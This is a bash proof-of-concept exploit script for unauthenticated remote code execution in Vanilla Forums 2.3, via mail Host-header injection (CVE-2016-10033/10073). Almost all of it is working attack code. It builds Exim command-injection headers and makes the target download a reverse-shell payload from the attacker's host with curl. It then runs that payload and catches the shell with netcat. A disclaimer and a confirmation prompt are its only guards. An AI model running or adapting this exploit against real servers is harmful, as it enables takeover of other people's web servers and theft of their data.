211 lines
No EOL
7.7 KiB
Bash
Executable file
211 lines
No EOL
7.7 KiB
Bash
Executable file
#!/bin/bash
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#
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# __ __ __ __ __
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# / / ___ ____ _____ _/ / / / / /___ ______/ /_____ __________
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# / / / _ \/ __ `/ __ `/ / / /_/ / __ `/ ___/ //_/ _ \/ ___/ ___/
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# / /___/ __/ /_/ / /_/ / / / __ / /_/ / /__/ ,< / __/ / (__ )
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# /_____/\___/\__, /\__,_/_/ /_/ /_/\__,_/\___/_/|_|\___/_/ /____/
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# /____/
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#
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#
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# Vanilla Forums <= 2.3 Remote Code Execution (RCE) PoC Exploit 0day
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# Core version (no plugins, default config.)
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#
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# CVE-2016-10033 (RCE)
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# CVE-2016-10073 (Header Injection)
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#
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# vanilla-forums-rce-exploit.sh (ver. 1.0)
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#
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#
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# Discovered and coded by
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#
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# Dawid Golunski
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# https://legalhackers.com
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# https://twitter.com/dawid_golunski
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#
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# ExploitBox project:
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# https://ExploitBox.io
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#
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#
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# Exploit code:
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# https://exploitbox.io/exploit/vanilla-forums-rce-exploit.sh
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#
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# Full advisory URL:
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# https://exploitbox.io/vuln/Vanilla-Forums-Exploit-RCE-0day-Remote-Code-Exec-CVE-2016-10033.html
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#
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# Related advisories:
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# https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html
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# https://exploitbox.io/vuln/Vanilla-Forums-Exploit-Host-Header-Injection-CVE-2016-10073-0day.html
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#
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# White-paper 'Pwning PHP mail() function For Fun And RCE'
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# https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html
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#
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#
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# Usage:
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# ./vanilla-forums-rce-exploit.sh target-forum-url reverse_shell_ip
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#
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# Tested on:
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# Vanilla Core 2.3
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# https://open.vanillaforums.com/addon/vanilla-core-2.3
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#
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# Disclaimer:
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# For testing purposes only
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#
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#
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# -----------------------------------------------------------------
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#
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# Interested in vulnerabilities/exploitation?
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#
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#
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# .;lc'
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# .,cdkkOOOko;.
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# .,lxxkkkkOOOO000Ol'
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# .':oxxxxxkkkkOOOO0000KK0x:'
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# .;ldxxxxxxxxkxl,.'lk0000KKKXXXKd;.
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# ':oxxxxxxxxxxo;. .:oOKKKXXXNNNNOl.
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# '';ldxxxxxdc,. ,oOXXXNNNXd;,.
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# .ddc;,,:c;. ,c: .cxxc:;:ox:
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# .dxxxxo, ., ,kMMM0:. ., .lxxxxx:
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# .dxxxxxc lW. oMMMMMMMK d0 .xxxxxx:
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# .dxxxxxc .0k.,KWMMMWNo :X: .xxxxxx:
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# .dxxxxxc .xN0xxxxxxxkXK, .xxxxxx:
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# .dxxxxxc lddOMMMMWd0MMMMKddd. .xxxxxx:
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# .dxxxxxc .cNMMMN.oMMMMx' .xxxxxx:
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# .dxxxxxc lKo;dNMN.oMM0;:Ok. 'xxxxxx:
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# .dxxxxxc ;Mc .lx.:o, Kl 'xxxxxx:
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# .dxxxxxdl;. ., .. .;cdxxxxxx:
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# .dxxxxxxxxxdc,. 'cdkkxxxxxxxx:
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# .':oxxxxxxxxxdl;. .;lxkkkkkxxxxdc,.
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# .;ldxxxxxxxxxdc, .cxkkkkkkkkkxd:.
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# .':oxxxxxxxxx.ckkkkkkkkxl,.
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# .,cdxxxxx.ckkkkkxc.
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# .':odx.ckxl,.
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# .,.'.
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#
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# Subscribe at:
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#
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# https://ExploitBox.io
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#
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# https://twitter.com/Exploit_Box
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#
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# -----------------------------------------------------------------
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intro="
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DQobWzBtIBtbMjFDG1sxOzM0bSAgICAuO2xjJw0KG1swbSAbWzIxQxtbMTszNG0uLGNka2tPT09r
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bzsuDQobWzBtICAgX19fX19fXxtbOEMbWzE7MzRtLiwgG1swbV9fX19fX19fG1s1Q19fX19fX19f
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G1s2Q19fX19fX18NCiAgIFwgIF9fXy9fIF9fX18gG1sxOzM0bScbWzBtX19fXBtbNkMvX19fX19c
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G1s2Q19fX19fX19cXyAgIF8vXw0KICAgLyAgXy8gICBcXCAgIFwvICAgLyAgIF9fLxtbNUMvLyAg
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IHwgIFxfX19fXy8vG1s3Q1wNCiAgL19fX19fX19fXz4+G1s2QzwgX18vICAvICAgIC8tXCBfX19f
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IC8bWzVDXCBfX19fX19fLw0KIBtbMTFDPF9fXy9cX19fPiAgICAvX19fX19fX18vICAgIC9fX19f
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X19fPg0KIBtbNkMbWzE7MzRtLmRkYzssLDpjOy4bWzlDG1swbSxjOhtbOUMbWzM0bS5jeHhjOjs6
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b3g6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eG8sG1s1QxtbMG0uLCAgICxrTU1NMDouICAuLBtb
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NUMbWzM0bS5seHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1QxtbMG1sVy4gb01N
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TU1NTU1LICBkMBtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1
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QxtbMG0uMGsuLEtXTU1NV05vIDpYOhtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDLhtbMTsz
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NG1keHh4eHhjG1s2QxtbMG0ueE4weHh4eHh4eGtYSywbWzZDG1szNG0ueHh4eHh4Og0KG1szN20g
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G1s2Qy4bWzE7MzRtZHh4eHh4YyAgICAbWzBtbGRkT01NTU1XZDBNTU1NS2RkZC4gICAbWzM0bS54
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eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s2QxtbMG0uY05NTU1OLm9NTU1NeCcb
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WzZDG1szNG0ueHh4eHh4Og0KG1szN20gG1s2QxtbMTszNG0uZHh4eHh4YxtbNUMbWzBtbEtvO2RO
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TU4ub01NMDs6T2suICAgIBtbMzRtJ3h4eHh4eDoNChtbMzdtIBtbNkMbWzE7MzRtLmR4eHh4eGMg
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ICAgG1swbTtNYyAgIC5seC46bywgICAgS2wgICAgG1szNG0neHh4eHh4Og0KG1szN20gG1s2Qxtb
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MTszNG0uZHh4eHh4ZGw7LiAuLBtbMTVDG1swOzM0bS4uIC47Y2R4eHh4eHg6DQobWzM3bSAbWzZD
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G1sxOzM0bS5keHh4eCAbWzBtX19fX19fX18bWzEwQ19fX18gIF9fX19fIBtbMzRteHh4eHg6DQob
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WzM3bSAbWzdDG1sxOzM0bS4nOm94IBtbMG1cG1s2Qy9fIF9fX19fX19fXCAgIFwvICAgIC8gG1sz
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NG14eGMsLg0KG1szN20gG1sxMUMbWzE7MzRtLiAbWzBtLxtbNUMvICBcXBtbOEM+G1s3QzwgIBtb
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MzRteCwNChtbMzdtIBtbMTJDLxtbMTBDLyAgIHwgICAvICAgL1wgICAgXA0KIBtbMTJDXF9fX19f
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X19fXzxfX19fX19fPF9fX18+IFxfX19fPg0KIBtbMjFDG1sxOzM0bS4nOm9keC4bWzA7MzRtY2t4
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bCwuDQobWzM3bSAbWzI1QxtbMTszNG0uLC4bWzA7MzRtJy4NChtbMzdtIA0K"
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function prep_host_header() {
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cmd="$1"
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rce_cmd="\${run{$cmd}}";
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# replace / with ${substr{0}{1}{$spool_directory}}
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#sed 's^/^${substr{0}{1}{$spool_directory}}^g'
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rce_cmd="`echo $rce_cmd | sed 's^/^\${substr{0}{1}{\$spool_directory}}^g'`"
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# replace ' ' (space) with
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#sed 's^ ^${substr{10}{1}{$tod_log}}$^g'
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rce_cmd="`echo $rce_cmd | sed 's^ ^\${substr{10}{1}{\$tod_log}}^g'`"
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#return "target(any -froot@localhost -be $rce_cmd null)"
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host_header="target(any -froot@localhost -be $rce_cmd null)"
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return 0
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}
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echo "$intro" | base64 -d
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if [ "$#" -ne 2 ]; then
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echo -e "Usage:\n$0 target-forum-url reverse_shell_ip\n"
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exit 1
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fi
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target="$1"
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rev_host="$2"
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echo -e ' \e[44m| ExploitBox.io |\e[0m'
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echo -e "
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\e[94m+ --=|\e[0m \e[91m Vanilla Forums <= 2.3 Unauth. RCE Exploit \e[0m \e[94m|\e[0m"
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#sleep 1s
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echo -e "\e[94m+ --=|\e[0m \e[94m|\e[0m
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\e[94m+ --=|\e[0m Discovered & Coded By \e[94m|\e[0m
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\e[94m+ --=|\e[0m \033[94mDawid Golunski\033[0m \e[94m|\e[0m
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\e[94m+ --=|\e[0m \033[94mhttps://legalhackers.com\033[0m \e[94m|\e[0m
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\e[94m+ --=|\e[0m \033[94m@dawid_golunski\033[0m \e[94m|\e[0m
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\e[94m+ --=|\e[0m \e[94m|\e[0m
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\e[94m+ --=|\e[0m \"With Great Power Comes Great Responsibility\" \e[94m|\e[0m
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\e[94m+ --=|\e[0m \e[91m*\e[0m For testing purposes only \e[91m*\e[0m \e[94m|\e[0m
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"
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echo -ne "\e[91m[*]\033[0m"
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read -p " Sure you want to get a shell on the target '$target' ? [y/N] " choice
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echo
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if [ "$choice" == "y" ]; then
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echo -e "\e[92m[*]\033[0m Guess I can't argue with that... Let's get started...\n"
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#sleep 2s
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#sleep 2s
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# Host payload on :80
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RCE_exec_cmd="(sleep 5s && nohup bash -i >/dev/tcp/$rev_host/1337 0<&1 2>&1) &"
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echo "$RCE_exec_cmd" > rce.txt
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python -mSimpleHTTPServer 80 2>/dev/null >&2 &
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hpid=$!
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# POST data string
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data='hpt=&Target=discussions&Email=admin&Request+a+new+password=Request+a+new+password&DeliveryType=VIEW&DeliveryMethod=JSON'
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# Save payload on the target in /tmp/rce
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cmd="/usr/bin/curl -o/tmp/rce $rev_host/rce.txt"
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prep_host_header "$cmd"
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curl -H"Host: $host_header" -0 -s -i -d "$data" $target/entry/passwordrequest | grep -q "200 OK"
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if [ $? -ne 0 ]; then
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echo "[!] Failed conecting to the target URL. Exiting"
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exit 2
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fi
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echo -e "\e[92m[+]\033[0m Connected to the target"
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echo -e "\n\e[92m[+]\e[0m Payload sent successfully"
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sleep 2s
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# Execute payload (RCE_exec_cmd) on the target /bin/bash /tmp/rce
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cmd="/usr/bin/nohup /bin/bash /tmp/rce"
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prep_host_header "$cmd"
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#echo -e "Host Payload2: \nHost: $host_header"
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curl -H"Host: $host_header" -s -0 -i -d "$data" $target/entry/passwordrequest >/dev/null 2>&1 &
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echo -e "\n\e[92m[+]\033[0m Payload executed!"
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echo -e "\n\e[92m[*]\033[0m Waiting for the target to send us a \e[94mreverse shell\e[0m...\n"
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nc -vv -l 1337
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#killall python
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echo
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else
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echo -e "\e[92m[+]\033[0m Responsible choice ;) Exiting.\n"
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exit 0
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fi
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#kill -9 $hpid
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echo "Exiting..."
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exit 0 |